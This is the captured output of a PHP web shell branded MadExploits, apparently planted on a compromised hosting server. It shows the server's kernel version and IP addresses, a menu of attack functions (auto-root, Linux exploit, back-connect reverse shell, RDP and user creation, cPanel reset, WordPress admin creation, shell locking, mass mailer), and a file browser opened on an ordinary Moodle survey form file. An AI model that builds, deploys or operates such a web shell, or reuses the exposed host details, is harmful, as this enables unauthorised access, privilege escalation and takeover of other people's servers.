Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.90
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
survey /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
download.php
13.5
KB
-rw-r--r--
graph.php
28.6
KB
-rw-r--r--
index.php
2.96
KB
-rw-r--r--
lib.php
39.1
KB
-rw-r--r--
mod_form.php
3.07
KB
-rw-r--r--
report.php
20.79
KB
-rw-r--r--
save.php
2.41
KB
-rw-r--r--
styles.css
786
B
-rw-r--r--
version.php
1.17
KB
-rw-r--r--
view.php
6.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_form.php
<?php if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); /// It must be included from a Moodle page } require_once ($CFG->dirroot.'/course/moodleform_mod.php'); class mod_survey_mod_form extends moodleform_mod { function definition() { global $CFG, $DB; $mform =& $this->_form; $strrequired = get_string('required'); //------------------------------------------------------------------------------- $mform->addElement('header', 'general', get_string('general', 'form')); $mform->addElement('text', 'name', get_string('name'), array('size'=>'64')); if (!empty($CFG->formatstringstriptags)) { $mform->setType('name', PARAM_TEXT); } else { $mform->setType('name', PARAM_CLEANHTML); } $mform->addRule('name', null, 'required', null, 'client'); if (!$options = $DB->get_records_menu("survey", array("template"=>0), "name", "id, name")) { print_error('cannotfindsurveytmpt', 'survey'); } foreach ($options as $id => $name) { $options[$id] = get_string($name, "survey"); } $options = array(''=>get_string('choose').'...') + $options; $mform->addElement('select', 'template', get_string("surveytype", "survey"), $options); $mform->addRule('template', $strrequired, 'required', null, 'client'); $mform->addHelpButton('template', 'surveytype', 'survey'); $this->standard_intro_elements(get_string('customintro', 'survey')); $this->standard_coursemodule_elements(); //------------------------------------------------------------------------------- // buttons $this->add_action_buttons(); } /** * Allows module to modify the data returned by form get_data(). * This method is also called in the bulk activity completion form. * * Only available on moodleform_mod. * * @param stdClass $data the form data to be modified. */ public function data_postprocessing($data) { parent::data_postprocessing($data); if (!empty($data->completionunlocked)) { // Turn off completion settings if the checkboxes aren't ticked. $autocompletion = !empty($data->completion) && $data->completion == COMPLETION_TRACKING_AUTOMATIC; if (!$autocompletion || empty($data->completionsubmit)) { $data->completionsubmit = 0; } } } /** * Add completion rules to form. * @return array */ public function add_completion_rules() { $mform =& $this->_form; $mform->addElement('checkbox', 'completionsubmit', '', get_string('completionsubmit', 'survey')); // Enable this completion rule by default. $mform->setDefault('completionsubmit', 1); return array('completionsubmit'); } /** * Enable completion rules * @param stdclass $data * @return array */ public function completion_rule_enabled($data) { return !empty($data['completionsubmit']); } }
Close